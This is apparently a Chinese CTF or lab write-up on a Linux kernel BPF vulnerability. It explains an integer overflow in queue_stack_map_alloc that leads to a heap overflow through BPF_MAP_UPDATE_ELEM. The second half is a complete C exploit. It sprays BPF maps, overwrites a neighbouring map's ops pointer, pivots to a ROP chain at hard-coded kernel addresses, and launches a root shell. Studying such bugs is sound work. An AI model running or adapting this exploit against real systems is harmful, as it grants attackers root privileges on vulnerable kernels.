题目会放在:https://github.com/196082/196082 
漏洞分析 kernel中的bpf模块主要用于用户态定义数据包过滤方法,如常见的抓包工具都基于此实现,并且用户态的Seccomp功能也与此功能相似。
整数溢出 该漏洞存在于BPF_MAP_CREATE功能中,并且可以看到处理的函数是map_create。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 SYSCALL_DEFINE3(bpf, int , cmd, union  bpf_attr __user *, uattr, unsigned  int , size) {   union  bpf_attr  attr  =  {};   int  err;   if  (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))     return  -EPERM;   err = bpf_check_uarg_tail_zero(uattr, sizeof (attr), size);   if  (err)     return  err;   size = min_t (u32, size, sizeof (attr));      if  (copy_from_user(&attr, uattr, size) != 0 )     return  -EFAULT;   err = security_bpf(cmd, &attr, size);   if  (err < 0 )     return  err;   switch  (cmd) {     case  BPF_MAP_CREATE:       err = map_create(&attr);       break ;     case  BPF_MAP_LOOKUP_ELEM:       err = map_lookup_elem(&attr);       break ;     case  BPF_MAP_UPDATE_ELEM:       err = map_update_elem(&attr);       break ;          } 
 
可以看到下面使用find_and_alloc_map函数创建一个map结构体,并为其分配编号,然后寻找出来生成的map。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 static  int  map_create (union  bpf_attr *attr)  {  int  numa_node = bpf_map_attr_numa_node(attr);   struct  bpf_map  *map ;   int  f_flags;   int  err;   err = CHECK_ATTR(BPF_MAP_CREATE);   if  (err)     return  -EINVAL;   f_flags = bpf_get_file_flag(attr->map_flags);   if  (f_flags < 0 )     return  f_flags;   if  (numa_node != NUMA_NO_NODE &&       ((unsigned  int )numa_node >= nr_node_ids ||        !node_online(numa_node)))     return  -EINVAL;      map  = find_and_alloc_map(attr);   if  (IS_ERR(map ))     return  PTR_ERR(map );   err = bpf_obj_name_cpy(map ->name, attr->map_name);   if  (err)     goto  free_map_nouncharge;   atomic_set(&map ->refcnt, 1 );   atomic_set(&map ->usercnt, 1 );   if  (attr->btf_key_type_id || attr->btf_value_type_id) {     struct  btf  *btf ;     if  (!attr->btf_key_type_id || !attr->btf_value_type_id) {       err = -EINVAL;       goto  free_map_nouncharge;     }     btf = btf_get_by_fd(attr->btf_fd);     if  (IS_ERR(btf)) {       err = PTR_ERR(btf);       goto  free_map_nouncharge;     }     err = map_check_btf(map , btf, attr->btf_key_type_id,                         attr->btf_value_type_id);     if  (err) {       btf_put(btf);       goto  free_map_nouncharge;     }     map ->btf = btf;     map ->btf_key_type_id = attr->btf_key_type_id;     map ->btf_value_type_id = attr->btf_value_type_id;   }   err = security_bpf_map_alloc(map );   if  (err)     goto  free_map_nouncharge;   err = bpf_map_init_memlock(map );   if  (err)     goto  free_map_sec;   err = bpf_map_alloc_id(map );   if  (err)     goto  free_map;   err = bpf_map_new_fd(map , f_flags);   if  (err < 0 ) {          bpf_map_put(map );     return  err;   }   return  err;   free_map:   bpf_map_release_memlock(map );   free_map_sec:   security_bpf_map_free(map );   free_map_nouncharge:   btf_put(map ->btf);   map ->ops->map_free(map );   return  err; } 
 
下面分析find_and_alloc_map函数,那么首先还是先看一下传参结构体的定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 union  bpf_attr  {	struct  {   		__u32	map_type;	 		__u32	key_size;	 		__u32	value_size;	 		__u32	max_entries;	 		__u32	map_flags;	 		__u32	inner_map_fd;	 		__u32	numa_node;	 		char 	map_name[BPF_OBJ_NAME_LEN]; 		__u32	map_ifindex;	 		__u32	btf_fd;		 		__u32	btf_key_type_id;	 		__u32	btf_value_type_id;	 	};    } 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static  struct bpf_map *find_and_alloc_map (union  bpf_attr *attr)  {	const  struct  bpf_map_ops  *ops ; 	u32 type = attr->map_type; 	struct  bpf_map  *map ; 	int  err; 	if  (type >= ARRAY_SIZE(bpf_map_types)) 		return  ERR_PTR(-EINVAL); 	type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types)); 	ops = bpf_map_types[type]; 	if  (!ops) 		return  ERR_PTR(-EINVAL); 	if  (ops->map_alloc_check) { 		err = ops->map_alloc_check(attr); 		if  (err) 			return  ERR_PTR(err); 	} 	if  (attr->map_ifindex) 		ops = &bpf_map_offload_ops; 	map  = ops->map_alloc(attr); 	if  (IS_ERR(map )) 		return  map ; 	map ->ops = ops; 	map ->map_type = type; 	return  map ; } 
 
可以看到这里是首先根据type作为索引得到ops,最后再调用ops中的map_alloc函数但是可以注意到的是在数组中存在以下的ops结构体
1 2 3 4 5 6 7 8 9 10 11 12 const  struct  bpf_map_ops  queue_map_ops  =  {	.map_alloc_check = queue_stack_map_alloc_check, 	.map_alloc = queue_stack_map_alloc, 	.map_free = queue_stack_map_free, 	.map_lookup_elem = queue_stack_map_lookup_elem, 	.map_update_elem = queue_stack_map_update_elem, 	.map_delete_elem = queue_stack_map_delete_elem, 	.map_push_elem = queue_stack_map_push_elem, 	.map_pop_elem = queue_map_pop_elem, 	.map_peek_elem = queue_map_peek_elem, 	.map_get_next_key = queue_stack_map_get_next_key, }; 
 
这里的漏洞也就存在于上述结构体中的queue_stack_map_alloc函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:FFFFFFFF8119D17A 44 89 F0                      mov     eax, r14d .text:FFFFFFFF8119D17D 4C 8B 3C C5 80 83 02 82       mov     r15, ds:qword_FFFFFFFF82028380[rax*8]    .rodata:FFFFFFFF82028380 qword_FFFFFFFF82028380   dq 0                    ; DATA XREF: map_create+AD↑r ; ... ... .rodata:FFFFFFFF82028410                 dq offset unk_FFFFFFFF8210F0A0 .rodata:FFFFFFFF82028418                 dq offset unk_FFFFFFFF82029B00 .rodata:FFFFFFFF82028420                 dq offset unk_FFFFFFFF8202A680 .rodata:FFFFFFFF82028428                 dq offset unk_FFFFFFFF82029B00 .rodata:FFFFFFFF82028430                 dq offset unk_FFFFFFFF82029C40 .rodata:FFFFFFFF82028438                 dq offset off_FFFFFFFF82029BA0 ; ... ... .rodata:FFFFFFFF82029BA0                 dq offset queue_stack_map_alloc_check .rodata:FFFFFFFF82029BA8                 dq offset queue_stack_map_alloc .rodata:FFFFFFFF82029BB0                 dq 0 .rodata:FFFFFFFF82029BB8                 dq offset queue_stack_map_free .rodata:FFFFFFFF82029BC0                 dq offset queue_stack_map_get_next_key .rodata:FFFFFFFF82029BC8                 dq 0 .rodata:FFFFFFFF82029BD0                 dq offset queue_stack_map_lookup_elem .rodata:FFFFFFFF82029BD8                 dq offset queue_stack_map_update_elem .rodata:FFFFFFFF82029BE0                 dq offset queue_stack_map_delete_elem .rodata:FFFFFFFF82029BE8                 dq offset queue_stack_map_push_elem .rodata:FFFFFFFF82029BF0                 dq offset stack_map_pop_elem .rodata:FFFFFFFF82029BF8                 dq offset stack_map_peek_elem 
 
可以看到只要计算偏移就可以成功修改ops为queue_stack_map_alloc函数,经过计算可得type为:(0xFFFFFFFF82028438 - 0xFFFFFFFF82028380)/8 = 0x17 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static  struct bpf_map *queue_stack_map_alloc (union  bpf_attr *attr)  {	int  ret, numa_node = bpf_map_attr_numa_node(attr); 	struct  bpf_queue_stack  *qs ; 	u64 size, queue_size, cost; 	size = (u64) attr->max_entries + 1 ; 	cost = queue_size = sizeof (*qs) + size * attr->value_size; 	if  (cost >= U32_MAX - PAGE_SIZE) 		return  ERR_PTR(-E2BIG); 	cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT; 	ret = bpf_map_precharge_memlock(cost); 	if  (ret < 0 ) 		return  ERR_PTR(ret); 	qs = bpf_map_area_alloc(queue_size, numa_node); 	if  (!qs) 		return  ERR_PTR(-ENOMEM); 	memset (qs, 0 , sizeof (*qs)); 	bpf_map_init_from_attr(&qs->map , attr); 	qs->map .pages = cost; 	qs->size = size; 	raw_spin_lock_init(&qs->lock); 	return  &qs->map ; } 
 
可以看到这里的cost其实就是等于sizeof(*qs) + (attr->value_size) * (attr->max_entries+1),并且这里的attr是我们可控的,如果我们控制attr->max_entries为-1那么这里申请的大小只有sizeof(struct bpf_queue_stack)并且这个size其实是管理堆块的大小,用于存储数据结构,后面的内容为数据存储结构。
1 2 3 4 5 6 7 8 9 void  bpf_map_init_from_attr (struct bpf_map *map , union  bpf_attr *attr)  {	map ->map_type = attr->map_type; 	map ->key_size = attr->key_size; 	map ->value_size = attr->value_size; 	map ->max_entries = attr->max_entries; 	map ->map_flags = attr->map_flags; 	map ->numa_node = bpf_map_attr_numa_node(attr); } 
 
最后将用户传进来的attr赋值过去。最后生成id,并将id返回给用户。
堆溢出 可以看到在上面的系统调用中存在BPF_MAP_UPDATE_ELEM功能,其实现的函数为:map_update_elem
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 static  int  map_update_elem (union  bpf_attr *attr)  {  void  __user *ukey = u64_to_user_ptr(attr->key);   void  __user *uvalue = u64_to_user_ptr(attr->value);   int  ufd = attr->map_fd;   struct  bpf_map  *map ;   void  *key, *value;   u32 value_size;   struct  fd  f ;   int  err;   if  (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))     return  -EINVAL;   f = fdget(ufd);   map  = __bpf_map_get(f);   if  (IS_ERR(map ))     return  PTR_ERR(map );   if  (!(f.file->f_mode & FMODE_CAN_WRITE)) {     err = -EPERM;     goto  err_put;   }   key = __bpf_copy_key(ukey, map ->key_size);   if  (IS_ERR(key)) {     err = PTR_ERR(key);     goto  err_put;   }   if  (map ->map_type == BPF_MAP_TYPE_PERCPU_HASH ||       map ->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||       map ->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||       map ->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)     value_size = round_up(map ->value_size, 8 ) * num_possible_cpus();   else      value_size = map ->value_size;   err = -ENOMEM;   value = kmalloc(value_size, GFP_USER | __GFP_NOWARN);   if  (!value)     goto  free_key;   err = -EFAULT;   if  (copy_from_user(value, uvalue, value_size) != 0 )     goto  free_value;      if  (bpf_map_is_dev_bound(map )) {     err = bpf_map_offload_update_elem(map , key, value, attr->flags);     goto  out;   } else  if  (map ->map_type == BPF_MAP_TYPE_CPUMAP ||              map ->map_type == BPF_MAP_TYPE_SOCKHASH ||              map ->map_type == BPF_MAP_TYPE_SOCKMAP) {     err = map ->ops->map_update_elem(map , key, value, attr->flags);     goto  out;   } } 
 
可以看到这里是直接取出map中存储的value_size直接kmalloc一个堆块,然后从用户态copy内容到堆块上面。随后调用ops中的map_update_elem函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 static  int  queue_stack_map_push_elem (struct bpf_map *map , void  *value,                                      u64 flags)  {  struct  bpf_queue_stack  *qs  =  bpf_queue_stack(map );   unsigned  long  irq_flags;   int  err = 0 ;   void  *dst;      bool  replace = (flags & BPF_EXIST);      if  (flags & BPF_NOEXIST || flags > BPF_EXIST)     return  -EINVAL;   raw_spin_lock_irqsave(&qs->lock, irq_flags);   if  (queue_stack_map_is_full(qs)) {     if  (!replace) {       err = -E2BIG;       goto  out;     }          if  (unlikely(++qs->tail >= qs->size))       qs->tail = 0 ;   }   dst = &qs->elements[qs->head * qs->map .value_size];   memcpy (dst, value, qs->map .value_size);   if  (unlikely(++qs->head >= qs->size))     qs->head = 0 ;   out:   raw_spin_unlock_irqrestore(&qs->lock, irq_flags);   return  err; } 
 
1 2 3 4 5 6 7 8 struct  bpf_queue_stack  {	struct  bpf_map  map ; 	raw_spinlock_t  lock; 	u32 head, tail; 	u32 size;  	char  elements[0 ] __aligned(8 ); }; 
 
这里利用memcpy将堆块上的内容复制到目标地址。这里查看qs的定义可以看出来其实就是往管理堆块下面相邻的堆块进行写入,但是因为我们上面申请的size只是管理堆块的size这也就导致了我们可以进行堆溢出。
简单总结 其实从上面分析到这里可以看出来这里的功能主要是要干嘛的,并且分析出来qs的结构。这里简化一下结构体其实就是类似于msg_msg的一种结构:
1 2 3 4 struct  {  manager;   data; } 
 
不过我们每次进行update的时候只能够修改data中的一个小块,而这些小块又被分成了attr->max_entries + 1个,并且每个小块的size为:attr->value_size。
利用分析 这里主要利用堆风水使我们分配的两个object相邻,接着修改掉ops指针,劫持函数实现站栈迁移即可。
这里使用到的gadget在 modify_ldt利用  中提到过,不熟悉的可以去看看这里就不再赘述。
综上,exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #define  _GNU_SOURCE #include  <err.h>  #include  <inttypes.h>  #include  <sched.h>  #include  <net/if.h>  #include  <netinet/in.h>  #include  <sys/ipc.h>  #include  <sys/msg.h>  #include  <sys/socket.h>  #include  <stdint.h>  #include  <sys/prctl.h>  #include  <sys/types.h>  #include  <stdio.h>  #include  <linux/userfaultfd.h>  #include  <pthread.h>  #include  <errno.h>  #include  <unistd.h>  #include  <stdlib.h>  #include  <fcntl.h>  #include  <signal.h>  #include  <string.h>  #include  <sys/mman.h>  #include  <sys/syscall.h>  #include  <sys/ioctl.h>  #include  <sys/sem.h>  #include  <semaphore.h>  #include  <poll.h>  #include  <time.h>  #define  SPRAY_NUMBER 14 #ifndef  __NR_bpf #define  __NR_bpf 321 #endif  void  errExit (char  *err_msg)  {    puts (err_msg);     exit (-1 ); } size_t  user_cs, user_ss, user_sp, user_rflags;void  save_status ()  {    __asm__(         "mov user_cs, cs;"          "mov user_ss, ss;"          "mov user_sp, rsp;"          "pushf;"          "pop user_rflags;" );     puts ("[*]status has been saved." ); } void  get_shell ()  {    if  (getuid())     {         printf ("\033[31m\033[1m[x] Failed to get the root!\033[0m\n" );         exit (-1 );     }     printf ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n" );     system("/bin/sh" ); } int  main ()  {    signal(SIGSEGV, get_shell);     save_status();     unsigned  long  swapgs = 0xffffffff81c00d5a ;     unsigned  long  iretq = 0xffffffff8106d8f4 ;     unsigned  long  stack_pivot_gadget = 0xffffffff81954dc8 ;     char  *buf = malloc (0x4000 );     long  int  res;     unsigned  long  fake_ops[0x1000 ] = {0 };     unsigned  long  pointer[0x1000 ] = {0 };     char  *rop_addr;     memset (buf, 0 , sizeof (buf));     *(unsigned  int  *)buf = 0x17 ;     *(unsigned  int  *)(buf + 4 ) = 0 ;     *(unsigned  int  *)(buf + 8 ) = 0x40 ;     *(unsigned  int  *)(buf + 12 ) = -1 ;     *(unsigned  int  *)(buf + 16 ) = 0 ;     *(unsigned  int  *)(buf + 20 ) = -1 ;     res = syscall(__NR_bpf, 0 , buf, 0x2c );     if  (res == -1 )         errExit("BPF_MAP_CREATE error!" );     unsigned  long  victim[SPRAY_NUMBER];     for  (int  i = 0 ; i < SPRAY_NUMBER; i++)     {         victim[i] = syscall(__NR_bpf, 0 , buf, 0x2c );     }     printf ("spray finished!\n" );     fake_ops[2 ] = stack_pivot_gadget;     pointer[6 ] = fake_ops;     *(unsigned  int  *)buf = res;     *(unsigned  int  *)(buf + 4 ) = 0 ;     *(unsigned  long  *)(buf + 8 ) = 0 ;     *(unsigned  long  *)(buf + 16 ) = pointer;     *(unsigned  long  *)(buf + 24 ) = 2 ;     syscall(__NR_bpf, 2 , buf, 0x20 );     printf ("changed ops\n" );     rop_addr = mmap(0x81954000 , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );     int  idx = 0 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xffffffff81029c71 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0x6f0 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xffffffff810013b9 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xFFFFFFFF810E3D40 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xffffffff81001c50 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xffffffff810013b9 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xffffffff81264e0b ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xFFFFFFFF810E3AB0 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xffffffff81c00d5a ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0x246 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = 0xffffffff8106d8f4 ;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = (uint64_t )get_shell;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = (uint64_t )user_cs;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = (uint64_t )user_rflags;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = (uint64_t )user_sp;     *(unsigned  long  *)(rop_addr + 0x143c  + (idx++ * 8 )) = (uint64_t )user_ss;     *(unsigned  long  *)(0x81954dc8 ) = 0xffffffff81029c71 ;     for  (int  i = 0 ; i < SPRAY_NUMBER; i++)     {         close(victim[i]);     }     return  0 ; } 
 
 
参考链接:http://p4nda.top/2019/01/02/kernel-bpf-overflow/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8